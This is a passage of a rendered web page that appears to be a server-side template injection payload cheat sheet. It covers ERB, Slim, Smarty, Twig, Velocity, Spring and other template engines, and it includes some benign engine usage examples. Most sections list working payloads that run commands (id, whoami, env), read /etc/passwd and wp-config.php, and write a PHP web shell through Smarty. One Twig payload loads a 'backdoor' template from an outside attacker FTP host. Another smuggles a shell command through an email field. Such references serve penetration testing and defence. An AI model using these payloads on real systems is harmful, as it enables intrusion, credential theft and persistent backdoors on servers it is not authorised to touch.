<a id="__codelineno-74-3" name="__codelineno-74-3" href="#__codelineno-74-3"></a><span class="sx">&lt;%= IO.popen(&#39;ls /&#39;).readlines() %&gt;</span>
<a id="__codelineno-74-4" name="__codelineno-74-4" href="#__codelineno-74-4"></a><span class="o">&lt;</span><span class="sx">% require </span><span class="s1">&#39;open3&#39;</span><span class="w"> </span><span class="sx">%&gt;&lt;% @a,@b,@c,@d=Open3.popen3(&#39;whoami&#39;) %&gt;</span><span class="o">&lt;</span><span class="sx">%= @b.readline()%&gt;</span>
<a id="__codelineno-74-5" name="__codelineno-74-5" href="#__codelineno-74-5"></a><span class="sx">&lt;% require &#39;open4&#39; %&gt;&lt;% @a,@b,@c,@d=</span><span class="no">Open4</span><span class="o">.</span><span class="n">popen4</span><span class="p">(</span><span class="s1">&#39;whoami&#39;</span><span class="p">)</span><span class="w"> </span><span class="sx">%&gt;&lt;%= @c.readline()%&gt;</span>
</code></pre></div>
<p>Execute code using SSTI for Slim engine.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-75-1" name="__codelineno-75-1" href="#__codelineno-75-1"></a><span class="c">#{ %x|env| }</span>
</code></pre></div>
<hr />
<h2 id="smarty">Smarty</h2>
<p><a href="https://www.smarty.net/docs/en/">Official website</a></p>
<blockquote>
<p>Smarty is a template engine for PHP.</p>
</blockquote>
<div class="highlight"><pre><span></span><code><a id="__codelineno-76-1" name="__codelineno-76-1" href="#__codelineno-76-1"></a><span class="p">{</span><span class="err">$</span><span class="n">smarty</span><span class="o">.</span><span class="n">version</span><span class="p">}</span>
<a id="__codelineno-76-2" name="__codelineno-76-2" href="#__codelineno-76-2"></a><span class="p">{</span><span class="n">php</span><span class="p">}</span><span class="n">echo</span> <span class="err">`</span><span class="nb">id</span><span class="err">`</span><span class="p">;{</span><span class="o">/</span><span class="n">php</span><span class="p">}</span> <span class="o">//</span><span class="n">deprecated</span> <span class="ow">in</span> <span class="n">smarty</span> <span class="n">v3</span>
<a id="__codelineno-76-3" name="__codelineno-76-3" href="#__codelineno-76-3"></a><span class="p">{</span><span class="n">Smarty_Internal_Write_File</span><span class="p">::</span><span class="n">writeFile</span><span class="p">(</span><span class="err">$</span><span class="n">SCRIPT_NAME</span><span class="p">,</span><span class="s2">&quot;&lt;?php passthru($_GET[&#39;cmd&#39;]); ?&gt;&quot;</span><span class="p">,</span><span class="bp">self</span><span class="p">::</span><span class="n">clearConfig</span><span class="p">())}</span>
<a id="__codelineno-76-4" name="__codelineno-76-4" href="#__codelineno-76-4"></a><span class="p">{</span><span class="n">system</span><span class="p">(</span><span class="s1">&#39;ls&#39;</span><span class="p">)}</span> <span class="o">//</span> <span class="n">compatible</span> <span class="n">v3</span>
<a id="__codelineno-76-5" name="__codelineno-76-5" href="#__codelineno-76-5"></a><span class="p">{</span><span class="n">system</span><span class="p">(</span><span class="s1">&#39;cat index.php&#39;</span><span class="p">)}</span> <span class="o">//</span> <span class="n">compatible</span> <span class="n">v3</span>
</code></pre></div>
<hr />
<h2 id="twig">Twig</h2>
<p><a href="https://twig.symfony.com/">Official website</a></p>
<blockquote>
<p>Twig is a modern template engine for PHP.</p>
</blockquote>
<h3 id="twig-basic-injection">Twig - Basic injection</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-77-1" name="__codelineno-77-1" href="#__codelineno-77-1"></a><span class="p">{{</span><span class="mi">7</span><span class="o">*</span><span class="mi">7</span><span class="p">}}</span>
<a id="__codelineno-77-2" name="__codelineno-77-2" href="#__codelineno-77-2"></a><span class="p">{{</span><span class="mi">7</span><span class="o">*</span><span class="s1">&#39;7&#39;</span><span class="p">}}</span> <span class="n">would</span> <span class="n">result</span> <span class="ow">in</span> <span class="mi">49</span>
<a id="__codelineno-77-3" name="__codelineno-77-3" href="#__codelineno-77-3"></a><span class="p">{{</span><span class="n">dump</span><span class="p">(</span><span class="n">app</span><span class="p">)}}</span>
<a id="__codelineno-77-4" name="__codelineno-77-4" href="#__codelineno-77-4"></a><span class="p">{{</span><span class="n">dump</span><span class="p">(</span><span class="n">_context</span><span class="p">)}}</span>
<a id="__codelineno-77-5" name="__codelineno-77-5" href="#__codelineno-77-5"></a><span class="p">{{</span><span class="n">app</span><span class="o">.</span><span class="n">request</span><span class="o">.</span><span class="n">server</span><span class="o">.</span><span class="n">all</span><span class="o">|</span><span class="n">join</span><span class="p">(</span><span class="s1">&#39;,&#39;</span><span class="p">)}}</span>
</code></pre></div>
<h3 id="twig-template-format">Twig - Template format</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-78-1" name="__codelineno-78-1" href="#__codelineno-78-1"></a><span class="err">$</span><span class="n">output</span> <span class="o">=</span> <span class="err">$</span><span class="n">twig</span> <span class="o">&gt;</span> <span class="n">render</span> <span class="p">(</span>
<a id="__codelineno-78-2" name="__codelineno-78-2" href="#__codelineno-78-2"></a> <span class="s1">&#39;Dear&#39;</span> <span class="o">.</span> <span class="err">$</span><span class="n">_GET</span><span class="p">[</span><span class="s1">&#39;custom_greeting&#39;</span><span class="p">],</span>
<a id="__codelineno-78-3" name="__codelineno-78-3" href="#__codelineno-78-3"></a> <span class="n">array</span><span class="p">(</span><span class="s2">&quot;first_name&quot;</span> <span class="o">=&gt;</span> <span class="err">$</span><span class="n">user</span><span class="o">.</span><span class="n">first_name</span><span class="p">)</span>
<a id="__codelineno-78-4" name="__codelineno-78-4" href="#__codelineno-78-4"></a><span class="p">);</span>
<a id="__codelineno-78-5" name="__codelineno-78-5" href="#__codelineno-78-5"></a>
<a id="__codelineno-78-6" name="__codelineno-78-6" href="#__codelineno-78-6"></a><span class="err">$</span><span class="n">output</span> <span class="o">=</span> <span class="err">$</span><span class="n">twig</span> <span class="o">&gt;</span> <span class="n">render</span> <span class="p">(</span>
<a id="__codelineno-78-7" name="__codelineno-78-7" href="#__codelineno-78-7"></a> <span class="s2">&quot;Dear </span><span class="si">{first_name}</span><span class="s2">&quot;</span><span class="p">,</span>
<a id="__codelineno-78-8" name="__codelineno-78-8" href="#__codelineno-78-8"></a> <span class="n">array</span><span class="p">(</span><span class="s2">&quot;first_name&quot;</span> <span class="o">=&gt;</span> <span class="err">$</span><span class="n">user</span><span class="o">.</span><span class="n">first_name</span><span class="p">)</span>
<a id="__codelineno-78-9" name="__codelineno-78-9" href="#__codelineno-78-9"></a><span class="p">);</span>
</code></pre></div>
<h3 id="twig-arbitrary-file-reading">Twig - Arbitrary File Reading</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-79-1" name="__codelineno-79-1" href="#__codelineno-79-1"></a><span class="s2">&quot;{{&#39;/etc/passwd&#39;|file_excerpt(1,30)}}&quot;</span><span class="o">@</span>
<a id="__codelineno-79-2" name="__codelineno-79-2" href="#__codelineno-79-2"></a><span class="p">{{</span><span class="n">include</span><span class="p">(</span><span class="s2">&quot;wp-config.php&quot;</span><span class="p">)}}</span>
</code></pre></div>
<h3 id="twig-code-execution">Twig - Code execution</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-80-1" name="__codelineno-80-1" href="#__codelineno-80-1"></a><span class="p">{{</span><span class="bp">self</span><span class="p">}}</span>
<a id="__codelineno-80-2" name="__codelineno-80-2" href="#__codelineno-80-2"></a><span class="p">{{</span><span class="n">_self</span><span class="o">.</span><span class="n">env</span><span class="o">.</span><span class="n">setCache</span><span class="p">(</span><span class="s2">&quot;ftp://attacker.net:2121&quot;</span><span class="p">)}}{{</span><span class="n">_self</span><span class="o">.</span><span class="n">env</span><span class="o">.</span><span class="n">loadTemplate</span><span class="p">(</span><span class="s2">&quot;backdoor&quot;</span><span class="p">)}}</span>
<a id="__codelineno-80-3" name="__codelineno-80-3" href="#__codelineno-80-3"></a><span class="p">{{</span><span class="n">_self</span><span class="o">.</span><span class="n">env</span><span class="o">.</span><span class="n">registerUndefinedFilterCallback</span><span class="p">(</span><span class="s2">&quot;exec&quot;</span><span class="p">)}}{{</span><span class="n">_self</span><span class="o">.</span><span class="n">env</span><span class="o">.</span><span class="n">getFilter</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}}</span>
<a id="__codelineno-80-4" name="__codelineno-80-4" href="#__codelineno-80-4"></a><span class="p">{{[</span><span class="s1">&#39;id&#39;</span><span class="p">]</span><span class="o">|</span><span class="nb">filter</span><span class="p">(</span><span class="s1">&#39;system&#39;</span><span class="p">)}}</span>
<a id="__codelineno-80-5" name="__codelineno-80-5" href="#__codelineno-80-5"></a><span class="p">{{[</span><span class="mi">0</span><span class="p">]</span><span class="o">|</span><span class="n">reduce</span><span class="p">(</span><span class="s1">&#39;system&#39;</span><span class="p">,</span><span class="s1">&#39;id&#39;</span><span class="p">)}}</span>
<a id="__codelineno-80-6" name="__codelineno-80-6" href="#__codelineno-80-6"></a><span class="p">{{[</span><span class="s1">&#39;id&#39;</span><span class="p">]</span><span class="o">|</span><span class="nb">map</span><span class="p">(</span><span class="s1">&#39;system&#39;</span><span class="p">)</span><span class="o">|</span><span class="n">join</span><span class="p">}}</span>
<a id="__codelineno-80-7" name="__codelineno-80-7" href="#__codelineno-80-7"></a><span class="p">{{[</span><span class="s1">&#39;id&#39;</span><span class="p">,</span><span class="mi">1</span><span class="p">]</span><span class="o">|</span><span class="n">sort</span><span class="p">(</span><span class="s1">&#39;system&#39;</span><span class="p">)</span><span class="o">|</span><span class="n">join</span><span class="p">}}</span>
<a id="__codelineno-80-8" name="__codelineno-80-8" href="#__codelineno-80-8"></a><span class="p">{{[</span><span class="s1">&#39;cat</span><span class="se">\x20</span><span class="s1">/etc/passwd&#39;</span><span class="p">]</span><span class="o">|</span><span class="nb">filter</span><span class="p">(</span><span class="s1">&#39;system&#39;</span><span class="p">)}}</span>
<a id="__codelineno-80-9" name="__codelineno-80-9" href="#__codelineno-80-9"></a><span class="p">{{[</span><span class="s1">&#39;cat$IFS/etc/passwd&#39;</span><span class="p">]</span><span class="o">|</span><span class="nb">filter</span><span class="p">(</span><span class="s1">&#39;system&#39;</span><span class="p">)}}</span>
<a id="__codelineno-80-10" name="__codelineno-80-10" href="#__codelineno-80-10"></a><span class="p">{{[</span><span class="s1">&#39;id&#39;</span><span class="p">]</span><span class="o">|</span><span class="nb">filter</span><span class="p">(</span><span class="s1">&#39;passthru&#39;</span><span class="p">)}}</span>
<a id="__codelineno-80-11" name="__codelineno-80-11" href="#__codelineno-80-11"></a><span class="p">{{[</span><span class="s1">&#39;id&#39;</span><span class="p">]</span><span class="o">|</span><span class="nb">map</span><span class="p">(</span><span class="s1">&#39;passthru&#39;</span><span class="p">)}}</span>
</code></pre></div>
<p>Example injecting values to avoid using quotes for the filename (specify via OFFSET and LENGTH where the payload FILENAME is)</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-81-1" name="__codelineno-81-1" href="#__codelineno-81-1"></a><span class="n">FILENAME</span><span class="p">{</span><span class="o">%</span> <span class="nb">set</span> <span class="n">var</span> <span class="o">=</span> <span class="n">dump</span><span class="p">(</span><span class="n">_context</span><span class="p">)[</span><span class="n">OFFSET</span><span class="p">:</span><span class="n">LENGTH</span><span class="p">]</span> <span class="o">%</span><span class="p">}</span> <span class="p">{{</span> <span class="n">include</span><span class="p">(</span><span class="n">var</span><span class="p">)</span> <span class="p">}}</span>
</code></pre></div>
<p>Example with an email passing FILTER_VALIDATE_EMAIL PHP.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-82-1" name="__codelineno-82-1" href="#__codelineno-82-1"></a><span class="n">POST</span> <span class="p">/</span><span class="n">subscribe</span><span class="k">?</span><span class="n">0</span><span class="p">=</span><span class="n">cat</span><span class="p">+/</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span> <span class="n">HTTP</span><span class="p">/</span><span class="n">1</span><span class="p">.</span><span class="n">1</span>
<a id="__codelineno-82-2" name="__codelineno-82-2" href="#__codelineno-82-2"></a><span class="n">email</span><span class="p">=</span><span class="s2">&quot;{{app.request.query.filter(0,0,1024,{&#39;options&#39;:&#39;system&#39;})}}&quot;</span><span class="nv">@attacker</span><span class="p">.</span><span class="n">tld</span>
</code></pre></div>
<hr />
<h2 id="java-velocity">Java - Velocity</h2>
<p><a href="https://velocity.apache.org/engine/1.7/user-guide.html">Official website</a></p>
<blockquote>
<p>Velocity is a Java-based template engine. It permits web page designers to reference methods defined in Java code.</p>
</blockquote>
<div class="highlight"><pre><span></span><code><a id="__codelineno-83-1" name="__codelineno-83-1" href="#__codelineno-83-1"></a><span class="c1">#set($str=$class.inspect(&quot;java.lang.String&quot;).type)</span>
<a id="__codelineno-83-2" name="__codelineno-83-2" href="#__codelineno-83-2"></a><span class="c1">#set($chr=$class.inspect(&quot;java.lang.Character&quot;).type)</span>
<a id="__codelineno-83-3" name="__codelineno-83-3" href="#__codelineno-83-3"></a><span class="c1">#set($ex=$class.inspect(&quot;java.lang.Runtime&quot;).type.getRuntime().exec(&quot;whoami&quot;))</span>
<a id="__codelineno-83-4" name="__codelineno-83-4" href="#__codelineno-83-4"></a><span class="err">$</span><span class="n">ex</span><span class="o">.</span><span class="n">waitFor</span><span class="p">()</span>
<a id="__codelineno-83-5" name="__codelineno-83-5" href="#__codelineno-83-5"></a><span class="c1">#set($out=$ex.getInputStream())</span>
<a id="__codelineno-83-6" name="__codelineno-83-6" href="#__codelineno-83-6"></a><span class="c1">#foreach($i in [1..$out.available()])</span>
<a id="__codelineno-83-7" name="__codelineno-83-7" href="#__codelineno-83-7"></a><span class="err">$</span><span class="nb">str</span><span class="o">.</span><span class="n">valueOf</span><span class="p">(</span><span class="err">$</span><span class="nb">chr</span><span class="o">.</span><span class="n">toChars</span><span class="p">(</span><span class="err">$</span><span class="n">out</span><span class="o">.</span><span class="n">read</span><span class="p">()))</span>
<a id="__codelineno-83-8" name="__codelineno-83-8" href="#__codelineno-83-8"></a><span class="c1">#end</span>
</code></pre></div>
<hr />
<h2 id="java-spring">Java - Spring</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-84-1" name="__codelineno-84-1" href="#__codelineno-84-1"></a><span class="o">*</span><span class="p">{</span><span class="mi">7</span><span class="o">*</span><span class="mi">7</span><span class="p">}</span>
<a id="__codelineno-84-2" name="__codelineno-84-2" href="#__codelineno-84-2"></a><span class="o">*</span><span class="p">{</span><span class="n">T</span><span class="p">(</span><span class="n">org</span><span class="o">.</span><span class="n">apache</span><span class="o">.</span><span class="n">commons</span><span class="o">.</span><span class="n">io</span><span class="o">.</span><span class="n">IOUtils</span><span class="p">)</span><span class="o">.</span><span class="n">toString</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="o">.</span><span class="n">lang</span><span class="o">.</span><span class="n">Runtime</span><span class="p">)</span><span class="o">.</span><span class="n">getRuntime</span><span class="p">()</span><span class="o">.</span><span class="n">exec</span><span class="p">(</span><span class="s1">&#39;id&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">getInputStream</span><span class="p">())}</span>
</code></pre></div>
<hr />
<h2 id="pattemplate">patTemplate</h2>
<blockquote>
<p><a href="https://github.com/wernerwa/pat-template">patTemplate</a> non-compiling PHP templating engine, that uses XML tags to divide a document into different parts</p>
</blockquote>
<div class="highlight"><pre><span></span><code><a id="__codelineno-85-1" name="__codelineno-85-1" href="#__codelineno-85-1"></a><span class="nt">&lt;patTemplate:tmpl</span><span class="w"> </span><span class="na">name=</span><span class="s">&quot;page&quot;</span><span class="nt">&gt;</span>
<a id="__codelineno-85-2" name="__codelineno-85-2" href="#__codelineno-85-2"></a><span class="w"> </span>This<span class="w"> </span>is<span class="w"> </span>the<span class="w"> </span>main<span class="w"> </span>page.
<a id="__codelineno-85-3" name="__codelineno-85-3" href="#__codelineno-85-3"></a><span class="w"> </span><span class="nt">&lt;patTemplate:tmpl</span><span class="w"> </span><span class="na">name=</span><span class="s">&quot;foo&quot;</span><span class="nt">&gt;</span>
<a id="__codelineno-85-4" name="__codelineno-85-4" href="#__codelineno-85-4"></a><span class="w"> </span>It<span class="w"> </span>contains<span class="w"> </span>another<span class="w"> </span>template.
<a id="__codelineno-85-5" name="__codelineno-85-5" href="#__codelineno-85-5"></a><span class="w"> </span><span class="nt">&lt;/patTemplate:tmpl&gt;</span>
<a id="__codelineno-85-6" name="__codelineno-85-6" href="#__codelineno-85-6"></a><span class="w"> </span><span class="nt">&lt;patTemplate:tmpl</span><span class="w"> </span><span class="na">name=</span><span class="s">&quot;hello&quot;</span><span class="nt">&gt;</span>
<a id="__codelineno-85-7" name="__codelineno-85-7" href="#__codelineno-85-7"></a><span class="w"> </span>Hello<span class="w"> </span>{NAME}.<span class="nt">&lt;br/&gt;</span>
<a id="__codelineno-85-8" name="__codelineno-85-8" href="#__codelineno-85-8"></a><span class="w"> </span><span class="nt">&lt;/patTemplate:tmpl&gt;</span>
<a id="__codelineno-85-9" name="__codelineno-85-9" href="#__codelineno-85-9"></a><span class="nt">&lt;/patTemplate:tmpl&gt;</span>
</code></pre></div>
<hr />
<h2 id="phplib-and-html_template_phplib">PHPlib and HTML_Template_PHPLIB</h2>
<p><a href="https://github.com/pear/HTML_Template_PHPLIB">HTML_Template_PHPLIB</a> is the same as PHPlib but ported to Pear.</p>
<p><code>authors.tpl</code></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-86-1" name="__codelineno-86-1" href="#__codelineno-86-1"></a><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;</span>
<a id="__codelineno-86-2" name="__codelineno-86-2" href="#__codelineno-86-2"></a> <span class="p">&lt;</span><span class="nt">head</span><span class="p">&gt;&lt;</span><span class="nt">title</span><span class="p">&gt;</span>{PAGE_TITLE}<span class="p">&lt;/</span><span class="nt">title</span><span class="p">&gt;&lt;/</span><span class="nt">head</span><span class="p">&gt;</span>
<a id="__codelineno-86-3" name="__codelineno-86-3" href="#__codelineno-86-3"></a> <span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span>
<a id="__codelineno-86-4" name="__codelineno-86-4" href="#__codelineno-86-4"></a> <span class="p">&lt;</span><span class="nt">table</span><span class="p">&gt;</span>
<a id="__codelineno-86-5" name="__codelineno-86-5" href="#__codelineno-86-5"></a> <span class="p">&lt;</span><span class="nt">caption</span><span class="p">&gt;</span>Authors<span class="p">&lt;/</span><span class="nt">caption</span><span class="p">&gt;</span>
<a id="__codelineno-86-6" name="__codelineno-86-6" href="#__codelineno-86-6"></a> <span class="p">&lt;</span><span class="nt">thead</span><span class="p">&gt;</span>
<a id="__codelineno-86-7" name="__codelineno-86-7" href="#__codelineno-86-7"></a> <span class="p">&lt;</span><span class="nt">tr</span><span class="p">&gt;&lt;</span><span class="nt">th</span><span class="p">&gt;</span>Name<span class="p">&lt;/</span><span class="nt">th</span><span class="p">&gt;&lt;</span><span class="nt">th</span><span class="p">&gt;</span>Email<span class="p">&lt;/</span><span class="nt">th</span><span class="p">&gt;&lt;/</span><span class="nt">tr</span><span class="p">&gt;</span>
<a id="__codelineno-86-8" name="__codelineno-86-8" href="#__codelineno-86-8"></a> <span class="p">&lt;/</span><span class="nt">thead</span><span class="p">&gt;</span>
<a id="__codelineno-86-9" name="__codelineno-86-9" href="#__codelineno-86-9"></a> <span class="p">&lt;</span><span class="nt">tfoot</span><span class="p">&gt;</span>
<a id="__codelineno-86-10" name="__codelineno-86-10" href="#__codelineno-86-10"></a> <span class="p">&lt;</span><span class="nt">tr</span><span class="p">&gt;&lt;</span><span class="nt">td</span> <span class="na">colspan</span><span class="o">=</span><span class="s">&quot;2&quot;</span><span class="p">&gt;</span>{NUM_AUTHORS}<span class="p">&lt;/</span><span class="nt">td</span><span class="p">&gt;&lt;/</span><span class="nt">tr</span><span class="p">&gt;</span>
<a id="__codelineno-86-11" name="__codelineno-86-11" href="#__codelineno-86-11"></a> <span class="p">&lt;/</span><span class="nt">tfoot</span><span class="p">&gt;</span>
<a id="__codelineno-86-12" name="__codelineno-86-12" href="#__codelineno-86-12"></a> <span class="p">&lt;</span><span class="nt">tbody</span><span class="p">&gt;</span>
<a id="__codelineno-86-13" name="__codelineno-86-13" href="#__codelineno-86-13"></a><span class="cm">&lt;!-- BEGIN authorline --&gt;</span>
<a id="__codelineno-86-14" name="__codelineno-86-14" href="#__codelineno-86-14"></a> <span class="p">&lt;</span><span class="nt">tr</span><span class="p">&gt;&lt;</span><span class="nt">td</span><span class="p">&gt;</span>{AUTHOR_NAME}<span class="p">&lt;/</span><span class="nt">td</span><span class="p">&gt;&lt;</span><span class="nt">td</span><span class="p">&gt;</span>{AUTHOR_EMAIL}<span class="p">&lt;/</span><span class="nt">td</span><span class="p">&gt;&lt;/</span><span class="nt">tr</span><span class="p">&gt;</span>
<a id="__codelineno-86-15" name="__codelineno-86-15" href="#__codelineno-86-15"></a><span class="cm">&lt;!-- END authorline --&gt;</span>
<a id="__codelineno-86-16" name="__codelineno-86-16" href="#__codelineno-86-16"></a> <span class="p">&lt;/</span><span class="nt">tbody</span><span class="p">&gt;</span>
<a id="__codelineno-86-17" name="__codelineno-86-17" href="#__codelineno-86-17"></a> <span class="p">&lt;/</span><span class="nt">table</span><span class="p">&gt;</span>
<a id="__codelineno-86-18" name="__codelineno-86-18" href="#__codelineno-86-18"></a> <span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span>
<a id="__codelineno-86-19" name="__codelineno-86-19" href="#__codelineno-86-19"></a><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span>
</code></pre></div>
<p><code>authors.php</code></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-87-1" name="__codelineno-87-1" href="#__codelineno-87-1"></a><span class="cp">&lt;?php</span>
<a id="__codelineno-87-2" name="__codelineno-87-2" href="#__codelineno-87-2"></a><span class="c1">//we want to display this author list</span>
<a id="__codelineno-87-3" name="__codelineno-87-3" href="#__codelineno-87-3"></a><span class="nv">$authors</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span>
<a id="__codelineno-87-4" name="__codelineno-87-4" href="#__codelineno-87-4"></a> <span class="s1">&#39;Christian Weiske&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;cweiske@php.net&#39;</span><span class="p">,</span>
<a id="__codelineno-87-5" name="__codelineno-87-5" href="#__codelineno-87-5"></a> <span class="s1">&#39;Bjoern Schotte&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;schotte@mayflower.de&#39;</span>
<a id="__codelineno-87-6" name="__codelineno-87-6" href="#__codelineno-87-6"></a><span class="p">);</span>
<a id="__codelineno-87-7" name="__codelineno-87-7" href="#__codelineno-87-7"></a>
<a id="__codelineno-87-8" name="__codelineno-87-8" href="#__codelineno-87-8"></a><span class="k">require_once</span> <span class="s1">&#39;HTML/Template/PHPLIB.php&#39;</span><span class="p">;</span>
<a id="__codelineno-87-9" name="__codelineno-87-9" href="#__codelineno-87-9"></a><span class="c1">//create template object</span>
<a id="__codelineno-87-10" name="__codelineno-87-10" href="#__codelineno-87-10"></a><span class="nv">$t</span> <span class="o">=&amp;</span> <span class="k">new</span> <span class="nx">HTML_Template_PHPLIB</span><span class="p">(</span><span class="nb">dirname</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">),</span> <span class="s1">&#39;keep&#39;</span><span class="p">);</span>
<a id="__codelineno-87-11" name="__codelineno-87-11" href="#__codelineno-87-11"></a><span class="c1">//load file</span>
<a id="__codelineno-87-12" name="__codelineno-87-12" href="#__codelineno-87-12"></a><span class="nv">$t</span><span class="o">-&gt;</span><span class="na">setFile</span><span class="p">(</span><span class="s1">&#39;authors&#39;</span><span class="p">,</span> <span class="s1">&#39;authors.tpl&#39;</span><span class="p">);</span>
<a id="__codelineno-87-13" name="__codelineno-87-13" href="#__codelineno-87-13"></a><span class="c1">//set block</span>
<a id="__codelineno-87-14" name="__codelineno-87-14" href="#__codelineno-87-14"></a><span class="nv">$t</span><span class="o">-&gt;</span><span class="na">setBlock</span><span class="p">(</span><span class="s1">&#39;authors&#39;</span><span class="p">,</span> <span class="s1">&#39;authorline&#39;</span><span class="p">,</span> <span class="s1">&#39;authorline_ref&#39;</span><span class="p">);</span>
<a id="__codelineno-87-15" name="__codelineno-87-15" href="#__codelineno-87-15"></a>
<a id="__codelineno-87-16" name="__codelineno-87-16" href="#__codelineno-87-16"></a><span class="c1">//set some variables</span>
<a id="__codelineno-87-17" name="__codelineno-87-17" href="#__codelineno-87-17"></a><span class="nv">$t</span><span class="o">-&gt;</span><span class="na">setVar</span><span class="p">(</span><span class="s1">&#39;NUM_AUTHORS&#39;</span><span class="p">,</span> <span class="nb">count</span><span class="p">(</span><span class="nv">$authors</span><span class="p">));</span>
<a id="__codelineno-87-18" name="__codelineno-87-18" href="#__codelineno-87-18"></a><span class="nv">$t</span><span class="o">-&gt;</span><span class="na">setVar</span><span class="p">(</span><span class="s1">&#39;PAGE_TITLE&#39;</span><span class="p">,</span> <span class="s1">&#39;Code authors as of &#39;</span> <span class="o">.</span> <span class="nb">date</span><span class="p">(</span><span class="s1">&#39;Y-m-d&#39;</span><span class="p">));</span>
<a id="__codelineno-87-19" name="__codelineno-87-19" href="#__codelineno-87-19"></a>
<a id="__codelineno-87-20" name="__codelineno-87-20" href="#__codelineno-87-20"></a><span class="c1">//display the authors</span>
<a id="__codelineno-87-21" name="__codelineno-87-21" href="#__codelineno-87-21"></a><span class="k">foreach</span> <span class="p">(</span><span class="nv">$authors</span> <span class="k">as</span> <span class="nv">$name</span> <span class="o">=&gt;</span> <span class="nv">$email</span><span class="p">)</span> <span class="p">{</span>
<a id="__codelineno-87-22" name="__codelineno-87-22" href="#__codelineno-87-22"></a> <span class="nv">$t</span><span class="o">-&gt;</span><span class="na">setVar</span><span class="p">(</span><span class="s1">&#39;AUTHOR_NAME&#39;</span><span class="p">,</span> <span class="nv">$name</span><span class="p">);</span>
<a id="__codelineno-87-23" name="__codelineno-87-23" href="#__codelineno-87-23"></a> <span class="nv">$t</span><span class="o">-&gt;</span><span class="na">setVar</span><span class="p">(</span><span class="s1">&#39;AUTHOR_EMAIL&#39;</span><span class="p">,</span> <span class="nv">$email</span><span class="p">);</span>
<a id="__codelineno-87-24" name="__codelineno-87-24" href="#__codelineno-87-24"></a> <span class="nv">$t</span><span class="o">-&gt;</span><span class="na">parse</span><span class="p">(</span><span class="s1">&#39;authorline_ref&#39;</span><span class="p">,</span> <span class="s1">&#39;authorline&#39;</span><span class="p">,</span> <span class="k">true</span><span class="p">);</span>
<a id="__codelineno-87-25" name="__codelineno-87-25" href="#__codelineno-87-25"></a><span class="p">}</span>
<a id="__codelineno-87-26" name="__codelineno-87-26" href="#__codelineno-87-26"></a>
<a id="__codelineno-87-27" name="__codelineno-87-27" href="#__codelineno-87-27"></a><span class="c1">//finish and echo</span>
<a id="__codelineno-87-28" name="__codelineno-87-28" href="#__codelineno-87-28"></a><span class="k">echo</span> <span class="nv">$t</span><span class="o">-&gt;</span><span class="na">finish</span><span class="p">(</span><span class="nv">$t</span><span class="o">-&gt;</span><span class="na">parse</span><span class="p">(</span><span class="s1">&#39;OUT&#39;</span><span class="p">,</span> <span class="s1">&#39;authors&#39;</span><span class="p">));</span>
<a id="__codelineno-87-29" name="__codelineno-87-29" href="#__codelineno-87-29"></a><span class="cp">?&gt;</span>
</code></pre></div>
<hr />
<h2 id="plates">Plates</h2>
<p>Plates is inspired by Twig but a native PHP template engine instead of a compiled template engine.</p>
<p>controller:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-88-1" name="__codelineno-88-1" href="#__codelineno-88-1"></a><span class="x">// Create new Plates instance</span>
<a id="__codelineno-88-2" name="__codelineno-88-2" href="#__codelineno-88-2"></a><span class="x">$templates = new League\Plates\Engine(&#39;/path/to/templates&#39;);</span>
<a id="__codelineno-88-3" name="__codelineno-88-3" href="#__codelineno-88-3"></a>
<a id="__codelineno-88-4" name="__codelineno-88-4" href="#__codelineno-88-4"></a><span class="x">// Render a template</span>
<a id="__codelineno-88-5" name="__codelineno-88-5" href="#__codelineno-88-5"></a><span class="x">echo $templates-&gt;render(&#39;profile&#39;, [&#39;name&#39; =&gt; &#39;Jonathan&#39;]);</span>
</code></pre></div>
<p>page template:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-89-1" name="__codelineno-89-1" href="#__codelineno-89-1"></a><span class="cp">&lt;?php</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">layout</span><span class="p">(</span><span class="s1">&#39;template&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;title&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;User Profile&#39;</span><span class="p">])</span> <span class="cp">?&gt;</span>
<a id="__codelineno-89-2" name="__codelineno-89-2" href="#__codelineno-89-2"></a>
<a id="__codelineno-89-3" name="__codelineno-89-3" href="#__codelineno-89-3"></a><span class="x">&lt;h1&gt;User Profile&lt;/h1&gt;</span>
<a id="__codelineno-89-4" name="__codelineno-89-4" href="#__codelineno-89-4"></a><span class="x">&lt;p&gt;Hello, </span><span class="cp">&lt;?</span><span class="o">=</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">e</span><span class="p">(</span><span class="nv">$name</span><span class="p">)</span><span class="cp">?&gt;</span><span class="x">&lt;/p&gt;</span>
</code></pre></div>
<p>layout template:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-90-1" name="__codelineno-90-1" href="#__codelineno-90-1"></a><span class="x">&lt;html&gt;</span>
<a id="__codelineno-90-2" name="__codelineno-90-2" href="#__codelineno-90-2"></a><span class="x"> &lt;head&gt;</span>
